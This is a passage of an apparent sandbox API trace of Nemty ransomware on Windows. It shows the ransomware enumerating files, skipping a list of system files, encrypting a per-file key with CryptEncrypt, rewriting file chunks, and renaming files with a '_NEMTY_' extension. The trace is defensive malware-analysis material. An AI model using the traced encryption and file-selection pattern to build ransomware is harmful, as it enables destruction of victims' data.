hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.374] CloseHandle (hObject=0xffffffff) returned 0 [0095.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0095.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0095.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63402c8 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.375] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png._nemty_kgobjgd_")) returned 0 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.375] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2=".") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="..") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="...") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="windows") returned -1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="$RECYCLE.BIN") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="rsa") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="NTDETECT.COM") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="ntldr") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="MSDOS.SYS") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="IO.SYS") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="boot.ini") returned 1 [0095.375] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="boot.ini") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="ntuser.dat") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="desktop.ini") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="CONFIG.SYS") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="RECYCLER") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="BOOTSECT.BAK") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="bootmgr") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="programdata") returned 1 [0095.376] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="appdata") returned 1 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain.wmv", lpUsedDefaultChar=0x0) returned 21 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain.wmv", lpUsedDefaultChar=0x0) returned 21 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain.wmv", lpUsedDefaultChar=0x0) returned 21 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain.wmv", lpUsedDefaultChar=0x0) returned 21 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0095.377] Sleep (dwMilliseconds=0x5) [0095.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec813cd0, dwHighDateTime=0x1d561e7)) [0095.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec813cd0, dwHighDateTime=0x1d561e7)) [0095.392] GetLastError () returned 0x5 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.392] GetLastError () returned 0x5 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.392] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0095.392] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="GETgT1cKRv9T+d498XQuPfHdSDHvvUVEKtP24JZHYEkDTSNDpG6R3WssJVDhCmRt\r\nIsAa7sQJUQ0z9CKsB8+kUyKEQts2S6PjigR+bk511NcYQScnD61ZyBr3ssaLqllo\r\n7XrLYFmEbjrtHzLtJPVRdjsxskmZkj9btwzd7q/ZQXcNW6ujuk1oTKl6a3dUn/Vy\r\nPA8Almwe8+A6iTegy7DSqckGgtWs0N8saeLmFc62JjVHMHVUf3ZPulu1dck6ddtj\r\nRzXSzM27+0ZeIbAo5AQOat1cY8+CX70BziKcOUNffCnI7hgw/WNXm4Bmwq9+Vd3k\r\nNIi8OT6MzmLbre0ak/GZSw==\r\n", pcchString=0x653e91c) returned 1 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0095.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.392] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.393] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.499] CloseHandle (hObject=0xffffffff) returned 0 [0095.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0095.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0095.499] RtlAllocateHeap 